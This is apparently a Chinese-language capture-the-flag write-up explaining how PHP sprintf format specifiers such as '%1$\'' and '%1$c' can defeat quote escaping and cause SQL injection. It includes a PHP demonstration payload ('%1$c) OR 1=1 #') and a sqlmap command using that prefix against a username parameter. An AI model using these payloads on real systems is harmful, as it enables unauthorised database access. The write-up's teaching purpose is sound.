URL:http://efa4e2c2b8df4ce69454639f4e3727071652c31167f341a4.game.ichunqiu.com/
簡單的說就是sprintf中%1$\'
會將\
吃掉,導致'
的逃逸。%
后表示第幾個參數,$
表示參數類型。
還有一個sprintf漏洞的利用方式:%c
起到了類似chr()
的效果,將數字39轉化為'
,從而導致了sql注入。
1 <?php 2 3 $input1 = '%1$c) OR 1=1 #'; 4 $input2 = 39; 5 $sql = "SELECT * FROM foo WHERE bar IN ('$input1') AND baz = %s"; 6 $sql = sprintf($sql, $input2); 7 echo $sql; 8 ?>
在這題中,--prefix
加個前綴丟進sqlmap跑就好了。
雖然是post
sqlmap -r /home/1.txt -p username --prefix="%1$'"
--prefix 前綴
--suffix 后綴
其實也可以直接*